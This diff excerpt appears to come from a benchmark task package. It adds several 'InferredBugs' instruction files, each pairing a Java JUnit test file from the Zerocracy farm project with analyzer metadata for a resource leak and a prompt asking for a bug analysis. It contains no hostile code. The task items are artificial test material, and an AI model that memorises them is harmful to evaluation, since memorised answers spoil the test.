+ * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+ * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+ * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+ * SOFTWARE.
+ */
+package com.zerocracy.tk;
+
+import com.zerocracy.Farm;
+import com.zerocracy.farm.fake.FkFarm;
+import com.zerocracy.farm.props.PropsFarm;
+import com.zerocracy.pmo.People;
+import java.io.IOException;
+import java.net.HttpURLConnection;
+import java.net.URLEncoder;
+import java.nio.charset.StandardCharsets;
+import java.util.Date;
+import org.cactoos.text.FormattedText;
+import org.hamcrest.MatcherAssert;
+import org.hamcrest.Matchers;
+import org.junit.Test;
+import org.takes.facets.hamcrest.HmRsHeader;
+import org.takes.facets.hamcrest.HmRsStatus;
+import org.takes.rq.RqFake;
+import org.takes.rq.RqWithBody;
+
+/**
+ * Test case for {@link TkJoinPost}.
+ *
+ * @since 1.0
+ * @checkstyle JavadocMethodCheck (500 lines)
+ * @checkstyle ClassDataAbstractionCouplingCheck (500 lines)
+ */
+@SuppressWarnings("PMD.AvoidDuplicateLiterals")
+public final class TkJoinPostTest {
+
+    @Test
+    public void acceptRequestAndRedirectOnPost() throws Exception {
+        final Farm farm = new PropsFarm(new FkFarm());
+        MatcherAssert.assertThat(
+            new TkApp(farm).act(
+                new RqWithBody(
+                    new RqWithUser(
+                        farm,
+                        new RqFake("POST", "/join-post")
+                    ),
+                    "personality=INTJ-A&stackoverflow=187141"
+                )
+            ),
+            Matchers.allOf(
+                new HmRsStatus(HttpURLConnection.HTTP_SEE_OTHER),
+                new HmRsHeader("Location", "/join")
+            )
+        );
+    }
+
+    @Test
+    public void rejectsIfAlreadyApplied() throws Exception {
+        final Farm farm = new PropsFarm(new FkFarm());
+        final People people = new People(farm).bootstrap();
+        final String uid = "yegor256";
+        people.touch(uid);
+        people.apply(uid, new Date());
+        final RqWithUser req = new RqWithUser(
+            farm,
+            new RqFake("POST", "/join-post")
+        );
+        people.breakup(uid);
+        MatcherAssert.assertThat(
+            new TkApp(farm).act(
+                new RqWithBody(
+                    req,
+                    "personality=INTJ-A&stackoverflow=187241"
+                )
+            ),
+            new HmRsHeader("Set-Cookie", Matchers.iterableWithSize(2))
+        );
+    }
+
+    @Test
+    public void acceptIfNeverApplied() throws Exception {
+        final Farm farm = new PropsFarm(new FkFarm());
+        final People people = new People(farm).bootstrap();
+        final String uid = "yegor256";
+        people.touch(uid);
+        final RqWithUser req = new RqWithUser(
+            farm,
+            new RqFake("POST", "/join-post")
+        );
+        people.breakup(uid);
+        MatcherAssert.assertThat(
+            new TkApp(farm).act(
+                new RqWithBody(
+                    req,
+                    // @checkstyle LineLength (1 line)
+                    "personality=INTJ-A&stackoverflow=187241&telegram=123&about=txt"
+                )
+            ),
+            Matchers.allOf(
+                new HmRsStatus(HttpURLConnection.HTTP_SEE_OTHER),
+                new HmRsHeader("Location", "/")
+            )
+        );
+    }
+
+    /**
+     * {@link TkJoinPost} can show that user already has a mentor.
+     * {@link TkJoinPost} must redirect and show a message to user when he or
+     * she tries to access <code>/join-post</code> but already has a mentor,
+     * which means that the user has already joined or asked for mentor for
+     * joining.
+     * @throws IOException If something goes wrong accessing page
+     */
+    @Test
+    @SuppressWarnings("unchecked")
+    public void showsThatUserAlreadyHasMentor() throws IOException {
+        final Farm farm = new PropsFarm(new FkFarm());
+        final People people = new People(farm).bootstrap();
+        final String mentor = "yoda";
+        final String applicant = "luke";
+        people.touch(mentor);
+        people.touch(applicant);
+        people.invite(applicant, mentor, true);
+        MatcherAssert.assertThat(
+            new TkApp(farm).act(
+                new RqWithBody(
+                    new RqWithUser(
+                        farm,
+                        new RqFake("GET", "/join-post"),
+                        applicant,
+                        false
+                    ),
+                    "personality=INTJ-A&stackoverflow=187242"
+                )
+            ),
+            Matchers.allOf(
+                new HmRsStatus(HttpURLConnection.HTTP_SEE_OTHER),
+                new HmRsHeader("Location", "/join"),
+                new HmRsHeader(
+                    "Set-Cookie",
+                    Matchers.hasItems(
+                        Matchers.containsString(
+                            URLEncoder.encode(
+                                new FormattedText(
+                                    "You already have a mentor (@%s)",
+                                    mentor
+                                ).asString(),
+                                StandardCharsets.UTF_8.displayName()
+                            )
+                        )
+                    )
+                )
+            )
+        );
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `com.zerocracy.farm.fake.FkFarm` acquired by call to `FkFarm()` at line 69 is not released after line 79.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void TkJoinPostTest.rejectsIfAlreadyApplied()
+
+### Procedure Id:
+com.zerocracy.tk.TkJoinPostTest.rejectsIfAlreadyApplied():void.4baed6cb53a145841f749429be4b817d
+
+### File:
+src/test/java/com/zerocracy/tk/TkJoinPostTest.java
+
+### Key:
+TkJoinPostTest.java|rejectsIfAlreadyApplied|RESOURCE_LEAK
+
+### Node Key:
+0e1f1497de80868e3665fce1b9909450
+
+### Hash:
+446c2ed2ab5dceeb7368f13b33c820ce
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-3126/instruction.md b/inferredbugs-3126/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..f2668354205f0244d36e88f827473b6e8a2120f9
--- /dev/null
+++ b/inferredbugs-3126/instruction.md
@@ -0,0 +1,242 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** farm
+**Bug ID:** 115
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Copyright (c) 2016-2019 Zerocracy
+ *
+ * Permission is hereby granted, free of charge, to any person obtaining a copy
+ * of this software and associated documentation files (the "Software"), to read
+ * the Software only. Permissions is hereby NOT GRANTED to use, copy, modify,
+ * merge, publish, distribute, sublicense, and/or sell copies of the Software.
+ *
+ * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+ * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+ * FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT. IN NO EVENT SHALL THE
+ * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+ * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+ * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+ * SOFTWARE.
+ */
+package com.zerocracy.tk;
+
+import com.zerocracy.Farm;
+import com.zerocracy.FkFarm;
+import com.zerocracy.farm.props.PropsFarm;
+import com.zerocracy.pmo.People;
+import java.io.IOException;
+import java.net.HttpURLConnection;
+import java.net.URLEncoder;
+import java.nio.charset.StandardCharsets;
+import java.time.Instant;
+import org.cactoos.text.FormattedText;
+import org.hamcrest.MatcherAssert;
+import org.hamcrest.Matchers;
+import org.junit.Test;
+import org.takes.Request;
+import org.takes.facets.hamcrest.HmRsHeader;
+import org.takes.facets.hamcrest.HmRsStatus;
+import org.takes.rq.RqFake;
+import org.takes.rq.RqWithBody;
+
+/**
+ * Test case for {@link TkJoinPost}.
+ *
+ * @since 1.0
+ * @checkstyle JavadocMethodCheck (500 lines)
+ * @checkstyle ClassDataAbstractionCouplingCheck (500 lines)
+ */
+@SuppressWarnings("PMD.AvoidDuplicateLiterals")
+public final class TkJoinPostTest {
+
+    @Test
+    public void acceptRequestAndRedirectOnPost() throws Exception {
+        final Farm farm = new PropsFarm(new FkFarm());
+        MatcherAssert.assertThat(
+            new TkApp(farm).act(
+                new RqWithBody(
+                    new RqWithUser.WithInit(
+                        farm,
+                        new RqFake("POST", "/join-post")
+                    ),
+                    "personality=INTJ-A&stackoverflow=187141"
+                )
+            ),
+            Matchers.allOf(
+                new HmRsStatus(HttpURLConnection.HTTP_SEE_OTHER),
+                new HmRsHeader("Location", "/join")
+            )
+        );
+    }
+
+    @Test
+    public void rejectsIfAlreadyApplied() throws Exception {
+        final Farm farm = new PropsFarm(new FkFarm());
+        final People people = new People(farm).bootstrap();
+        final String uid = "yegor256";
+        people.touch(uid);
+        people.apply(uid, Instant.now());
+        final Request req = new RqWithUser.WithInit(
+            farm,
+            new RqFake("POST", "/join-post")
+        );
+        people.breakup(uid);
+        MatcherAssert.assertThat(
+            new TkApp(farm).act(
+                new RqWithBody(
+                    req,
+                    "personality=INTJ-A&stackoverflow=187241"
+                )
+            ),
+            new HmRsHeader("Set-Cookie", Matchers.iterableWithSize(2))
+        );
+    }
+
+    @Test
+    public void acceptIfNeverApplied() throws Exception {
+        final Farm farm = new PropsFarm(new FkFarm());
+        final People people = new People(farm).bootstrap();
+        final String uid = "yegor256";
+        people.touch(uid);
+        final Request req = new RqWithUser(
+            farm,
+            new RqFake("POST", "/join-post"),
+            uid
+        );
+        people.breakup(uid);
+        MatcherAssert.assertThat(
+            new TkApp(farm).act(
+                new RqWithBody(
+                    req,
+                    // @checkstyle LineLength (1 line)
+                    "personality=INTJ-A&stackoverflow=187241&telegram=123&about=txt"
+                )
+            ),
+            Matchers.allOf(
+                new HmRsStatus(HttpURLConnection.HTTP_SEE_OTHER),
+                new HmRsHeader("Location", "/")
+            )
+        );
+    }
+
+    /**
+     * {@link TkJoinPost} can show that user already has a mentor.
+     * {@link TkJoinPost} must redirect and show a message to user when he or
+     * she tries to access <code>/join-post</code> but already has a mentor,
+     * which means that the user has already joined or asked for mentor for
+     * joining.
+     * @throws IOException If something goes wrong accessing page
+     */
+    @Test
+    @SuppressWarnings("unchecked")
+    public void showsThatUserAlreadyHasMentor() throws IOException {
+        final Farm farm = new PropsFarm(new FkFarm());
+        final People people = new People(farm).bootstrap();
+        final String mentor = "yoda";
+        final String applicant = "luke";
+        people.touch(mentor);
+        people.touch(applicant);
+        people.invite(applicant, mentor, true);
+        MatcherAssert.assertThat(
+            new TkApp(farm).act(
+                new RqWithBody(
+                    new RqWithUser(
+                        farm,
+                        new RqFake("GET", "/join-post"),
+                        applicant
+                    ),
+                    "personality=INTJ-A&stackoverflow=187242"
+                )
+            ),
+            Matchers.allOf(
+                new HmRsStatus(HttpURLConnection.HTTP_SEE_OTHER),
+                new HmRsHeader("Location", "/join"),
+                new HmRsHeader(
+                    "Set-Cookie",
+                    Matchers.hasItems(
+                        Matchers.containsString(
+                            URLEncoder.encode(
+                                new FormattedText(
+                                    "You already have a mentor (@%s)",
+                                    mentor
+                                ).asString(),
+                                StandardCharsets.UTF_8.displayName()
+                            )
+                        )
+                    )
+                )
+            )
+        );
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `com.zerocracy.farm.props.PropsFarm` acquired by call to `PropsFarm(...)` at line 93 is not released after line 116.
+**Note**: potential exception at line 97
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void TkJoinPostTest.acceptIfNeverApplied()
+
+### Procedure Id:
+com.zerocracy.tk.TkJoinPostTest.acceptIfNeverApplied():void.447382a04de54bbcb0d0211ca88a6616
+
+### File:
+src/test/java/com/zerocracy/tk/TkJoinPostTest.java
+
+### Key:
+TkJoinPostTest.java|acceptIfNeverApplied|RESOURCE_LEAK
+
+### Node Key:
+48815eab4c26cee962db00712b67bbd0
+
+### Hash:
+1dccee4a06a9f3b12a8d226056017b19
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-3127/instruction.md b/inferredbugs-3127/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..9674db70d7ba4a53ca06ee8b9ecb505ecf6cb18b
--- /dev/null
+++ b/inferredbugs-3127/instruction.md
@@ -0,0 +1,165 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** farm
+**Bug ID:** 83
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Copyright (c) 2016-2018 Zerocracy
+ *
+ * Permission is hereby granted, free of charge, to any person obtaining a copy
+ * of this software and associated documentation files (the "Software"), to read
+ * the Software only. Permissions is hereby NOT GRANTED to use, copy, modify,
+ * merge, publish, distribute, sublicense, and/or sell copies of the Software.
+ *
+ * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+ * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+ * FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT. IN NO EVENT SHALL THE
+ * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+ * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+ * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+ * SOFTWARE.
+ */
+package com.zerocracy.pm.in;
+
+import com.zerocracy.Project;
+import com.zerocracy.cash.Cash;
+import com.zerocracy.farm.fake.FkProject;
+import com.zerocracy.farm.props.PropsFarm;
+import com.zerocracy.pm.cost.Estimates;
+import com.zerocracy.pm.cost.Ledger;
+import com.zerocracy.pm.cost.Rates;
+import com.zerocracy.pm.scope.Wbs;
+import org.hamcrest.MatcherAssert;
+import org.hamcrest.Matchers;
+import org.hamcrest.collection.IsEmptyCollection;
+import org.junit.Test;
+
+/**
+ * Test case for {@link Orders}.
+ * @since 1.0
+ * @checkstyle JavadocMethodCheck (500 lines)
+ * @checkstyle ClassDataAbstractionCouplingCheck (500 lines)
+ */
+@SuppressWarnings("PMD.AvoidDuplicateLiterals")
+public final class OrdersTest {
+
+    @Test
+    public void assignsAndResigns() throws Exception {
+        final Project project = new FkProject();
+        final Orders orders = new Orders(new PropsFarm(), project).bootstrap();
+        final String job = "gh:yegor256/0pdd#13";
+        new Wbs(project).bootstrap().add(job);
+        orders.assign(job, "yegor256", "0");
+    }
+
+    @Test
+    public void setsEstimatesOnAssign() throws Exception {
+        final Project project = new FkProject();
+        final PropsFarm farm = new PropsFarm();
+        new Ledger(farm, project).bootstrap().add(
+            new Ledger.Transaction(
+                new Cash.S("$1000"),
+                "assets", "cash",
+                "income", "sponsor",
+                "There is some funding just arrived"
+            )
+        );
+        final String login = "dmarkov";
+        new Rates(project).bootstrap().set(login, new Cash.S("$50"));
+        final String job = "gh:yegor256/0pdd#19";
+        final Wbs wbs = new Wbs(project).bootstrap();
+        wbs.add(job);
+        wbs.role(job, "REV");
+        final Orders orders = new Orders(farm, project).bootstrap();
+        orders.assign(job, login, "0");
+        MatcherAssert.assertThat(
+            new Estimates(farm, project).bootstrap().get(job),
+            Matchers.equalTo(new Cash.S("$12.50"))
+        );
+    }
+
+    @Test
+    public void removesOrder() throws Exception {
+        final Project project = new FkProject();
+        final Orders orders = new Orders(new PropsFarm(), project).bootstrap();
+        final String job = "gh:yegor256/0pdd#13";
+        new Wbs(project).bootstrap().add(job);
+        orders.assign(job, "yegor256", "0");
+        orders.remove(job);
+        MatcherAssert.assertThat(
+            "Order not removed",
+            orders.iterate(),
+            new IsEmptyCollection<>()
+        );
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `com.zerocracy.farm.props.PropsFarm` acquired by call to `PropsFarm()` at line 53 is not released after line 71.
+**Note**: potential exception at line 71
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void OrdersTest.setsEstimatesOnAssign()
+
+### Procedure Id:
+com.zerocracy.pm.in.OrdersTest.setsEstimatesOnAssign():void.7393ebb03d33e29035499ffd3a5f1c07
+
+### File:
+src/test/java/com/zerocracy/pm/in/OrdersTest.java
+
+### Key:
+OrdersTest.java|setsEstimatesOnAssign|RESOURCE_LEAK
+
+### Node Key:
+21bbf00bf52cbb29c85ade37dbbc751f
+
+### Hash:
+60ff82656f8be4e56e8d7571cf2b6e7c
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-3128/instruction.md b/inferredbugs-3128/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..86ec9e013ecc6ccf42944cf029110b47016f9654
--- /dev/null
+++ b/inferredbugs-3128/instruction.md
@@ -0,0 +1,186 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** farm
+**Bug ID:** 77
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Copyright (c) 2016-2018 Zerocracy
+ *
+ * Permission is hereby granted, free of charge, to any person obtaining a copy
+ * of this software and associated documentation files (the "Software"), to read
+ * the Software only. Permissions is hereby NOT GRANTED to use, copy, modify,
+ * merge, publish, distribute, sublicense, and/or sell copies of the Software.
+ *
+ * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+ * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+ * FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT. IN NO EVENT SHALL THE
+ * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+ * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+ * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+ * SOFTWARE.
+ */
+package com.zerocracy.pm.cost;
+
+import com.zerocracy.Farm;
+import com.zerocracy.Project;
+import com.zerocracy.cash.Cash;
+import com.zerocracy.farm.fake.FkProject;
+import com.zerocracy.farm.props.PropsFarm;
+import com.zerocracy.pm.in.Orders;
+import com.zerocracy.pm.scope.Wbs;
+import org.hamcrest.MatcherAssert;
+import org.hamcrest.Matchers;
+import org.junit.Test;
+
+/**
+ * Test case for {@link Estimates}.
+ * @since 1.0
+ * @checkstyle JavadocMethodCheck (500 lines)
+ * @checkstyle ClassDataAbstractionCouplingCheck (500 lines)
+ */
+@SuppressWarnings("PMD.AvoidDuplicateLiterals")
+public final class EstimatesTest {
+
+    @Test
+    public void showsEmptyTotal() throws Exception {
+        final Estimates estimates =
+            new Estimates(new PropsFarm(), new FkProject()).bootstrap();
+        MatcherAssert.assertThat(
+            estimates.total(),
+            Matchers.equalTo(Cash.ZERO)
+        );
+    }
+
+    @Test
+    public void estimatesJobs() throws Exception {
+        final Project project = new FkProject();
+        final PropsFarm farm = new PropsFarm();
+        new Ledger(farm, project).bootstrap().add(
+            new Ledger.Transaction(
+                new Cash.S("$500"),
+                "assets", "cash",
+                "income", "sponsor",
+                "Funded by Stripe customer"
+            )
+        );
+        final Estimates estimates = new Estimates(farm, project).bootstrap();
+        final String first = "gh:yegor256/pdd#4";
+        new Wbs(project).bootstrap().add(first);
+        new Orders(farm, project).bootstrap().assign(first, "yegor256", "0");
+        estimates.update(first, new Cash.S("$45"));
+        MatcherAssert.assertThat(
+            estimates.get(first),
+            Matchers.equalTo(new Cash.S("$45.00"))
+        );
+        final String second = "gh:yegor256/pdd#1";
+        new Wbs(project).bootstrap().add(second);
+        new Orders(farm, project).bootstrap().assign(second, "yegor", "0");
+        estimates.update(second, new Cash.S("$100"));
+        MatcherAssert.assertThat(
+            estimates.total(),
+            Matchers.equalTo(new Cash.S("$145.00"))
+        );
+    }
+
+    @Test
+    public void estimatesJobsWithDifferentCurrencies() throws Exception {
+        final Project project = new FkProject();
+        final Farm farm = new PropsFarm();
+        new Ledger(farm, project).bootstrap().add(
+            new Ledger.Transaction(
+                new Cash.S("$500"),
+                "assets", "cash",
+                "income", "sponsor",
+                "Funded by some guy"
+            )
+        );
+        final Estimates estimates = new Estimates(farm, project).bootstrap();
+        final String first = "gh:yegor256/pdd#4";
+        final Wbs wbs = new Wbs(project).bootstrap();
+        wbs.add(first);
+        new Orders(farm, project).bootstrap().assign(first, "yegor256", "0");
+        estimates.update(first, new Cash.S("$45"));
+        MatcherAssert.assertThat(
+            estimates.get(first),
+            Matchers.equalTo(new Cash.S("$45.00"))
+        );
+        final String second = "gh:yegor256/pdd#1";
+        wbs.add(second);
+        new Orders(farm, project).bootstrap().assign(second, "yegor", "0");
+        estimates.update(second, new Cash.S("€100"));
+        MatcherAssert.assertThat(
+            estimates.total(),
+            Matchers.equalTo(new Cash.S("$177.00"))
+        );
+    }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `com.zerocracy.farm.fake.FkFarm` acquired by call to `PropsFarm()` at line 52 is not released after line 75.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void EstimatesTest.estimatesJobs()
+
+### Procedure Id:
+com.zerocracy.pm.cost.EstimatesTest.estimatesJobs():void.504d2c1bb1a6cc15cdb4e6cf8788a2d3
+
+### File:
+src/test/java/com/zerocracy/pm/cost/EstimatesTest.java
+
+### Key:
+EstimatesTest.java|estimatesJobs|RESOURCE_LEAK
+
+### Node Key:
+12bc896df30a8446b1011f6741637ac7
+
+### Hash:
+e4dbe381f3fcfe2ff18616dd10076856
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-3129/instruction.md b/inferredbugs-3129/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..06271a69951d4afadad790cddbbb529a8bd8e90c
--- /dev/null
+++ b/inferredbugs-3129/instruction.md
@@ -0,0 +1,240 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** farm
+**Bug ID:** 123
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Copyright (c) 2016-2019 Zerocracy
+ *
+ * Permission is hereby granted, free of charge, to any person obtaining a copy
+ * of this software and associated documentation files (the "Software"), to read
+ * the Software only. Permissions is hereby NOT GRANTED to use, copy, modify,
+ * merge, publish, distribute, sublicense, and/or sell copies of the Software.
+ *
+ * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+ * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+ * FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT. IN NO EVENT SHALL THE
+ * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+ * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+ * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+ * SOFTWARE.
+ */
+package com.zerocracy.tk;
+
+import com.zerocracy.Farm;
+import com.zerocracy.FkFarm;
+import com.zerocracy.pmo.People;
+import java.io.IOException;
+import java.net.HttpURLConnection;
+import java.net.URLEncoder;
+import java.nio.charset.StandardCharsets;
+import java.time.Instant;
+import org.cactoos.text.FormattedText;
+import org.hamcrest.MatcherAssert;
+import org.hamcrest.Matchers;
+import org.junit.Test;
+import org.takes.Request;
+import org.takes.facets.hamcrest.HmRsHeader;
+import org.takes.facets.hamcrest.HmRsStatus;
+import org.takes.rq.RqFake;
+import org.takes.rq.RqWithBody;
+
+/**
+ * Test case for {@link TkJoinPost}.
+ *
+ * @since 1.0
+ * @checkstyle JavadocMethodCheck (500 lines)
+ * @checkstyle ClassDataAbstractionCouplingCheck (500 lines)
+ */
+@SuppressWarnings("PMD.AvoidDuplicateLiterals")
+public final class TkJoinPostTest {
+
+    @Test
+    public void acceptRequestAndRedirectOnPost() throws Exception {
+        final Farm farm = FkFarm.props();
+        MatcherAssert.assertThat(
+            new TkApp(farm).act(
+                new RqWithBody(
+                    new RqWithUser.WithInit(
+                        farm,
+                        new RqFake("POST", "/join-post")
+                    ),
+                    "personality=INTJ-A&stackoverflow=187141"
+                )
+            ),
+            Matchers.allOf(
+                new HmRsStatus(HttpURLConnection.HTTP_SEE_OTHER),
+                new HmRsHeader("Location", "/join")
+            )
+        );
+    }
+
+    @Test
+    public void rejectsIfAlreadyApplied() throws Exception {
+        final Farm farm = FkFarm.props();
+        final People people = new People(farm).bootstrap();
+        final String uid = "yegor256";
+        people.touch(uid);
+        people.apply(uid, Instant.now());
+        final Request req = new RqWithUser.WithInit(
+            farm,
+            new RqFake("POST", "/join-post")
+        );
+        people.breakup(uid);
+        MatcherAssert.assertThat(
+            new TkApp(farm).act(
+                new RqWithBody(
+                    req,
+                    "personality=INTJ-A&stackoverflow=187241"
+                )
+            ),
+            new HmRsHeader("Set-Cookie", Matchers.iterableWithSize(2))
+        );
+    }
+
+    @Test
+    public void acceptIfNeverApplied() throws Exception {
+        final Farm farm = FkFarm.props();
+        final People people = new People(farm).bootstrap();
+        final String uid = "yegor256";
+        people.touch(uid);
+        final Request req = new RqWithUser(
+            farm,
+            new RqFake("POST", "/join-post"),
+            uid
+        );
+        people.breakup(uid);
+        MatcherAssert.assertThat(
+            new TkApp(farm).act(
+                new RqWithBody(
+                    req,
+                    // @checkstyle LineLength (1 line)
+                    "personality=INTJ-A&stackoverflow=187241&telegram=123&about=txt"
+                )
+            ),
+            Matchers.allOf(
+                new HmRsStatus(HttpURLConnection.HTTP_SEE_OTHER),
+                new HmRsHeader("Location", "/")
+            )
+        );
+    }
+
+    /**
+     * {@link TkJoinPost} can show that user already has a mentor.
+     * {@link TkJoinPost} must redirect and show a message to user when he or
+     * she tries to access <code>/join-post</code> but already has a mentor,
+     * which means that the user has already joined or asked for mentor for
+     * joining.
+     * @throws IOException If something goes wrong accessing page
+     */
+    @Test
+    @SuppressWarnings("unchecked")
+    public void showsThatUserAlreadyHasMentor() throws IOException {
+        final Farm farm = FkFarm.props();
+        final People people = new People(farm).bootstrap();
+        final String mentor = "yoda";
+        final String applicant = "luke";
+        people.touch(mentor);
+        people.touch(applicant);
+        people.invite(applicant, mentor, true);
+        MatcherAssert.assertThat(
+            new TkApp(farm).act(
+                new RqWithBody(
+                    new RqWithUser(
+                        farm,
+                        new RqFake("GET", "/join-post"),
+                        applicant
+                    ),
+                    "personality=INTJ-A&stackoverflow=187242"
+                )
+            ),
+            Matchers.allOf(
+                new HmRsStatus(HttpURLConnection.HTTP_SEE_OTHER),
+                new HmRsHeader("Location", "/join"),
+                new HmRsHeader(
+                    "Set-Cookie",
+                    Matchers.hasItems(
+                        Matchers.containsString(
+                            URLEncoder.encode(
+                                new FormattedText(
+                                    "You already have a mentor (@%s)",
+                                    mentor
+                                ).asString(),
+                                StandardCharsets.UTF_8.displayName()
+                            )
+                        )
+                    )
+                )
+            )
+        );
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `com.zerocracy.FkFarm` acquired by call to `props()` at line 128 is not released after line 135.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void TkJoinPostTest.showsThatUserAlreadyHasMentor()
+
+### Procedure Id:
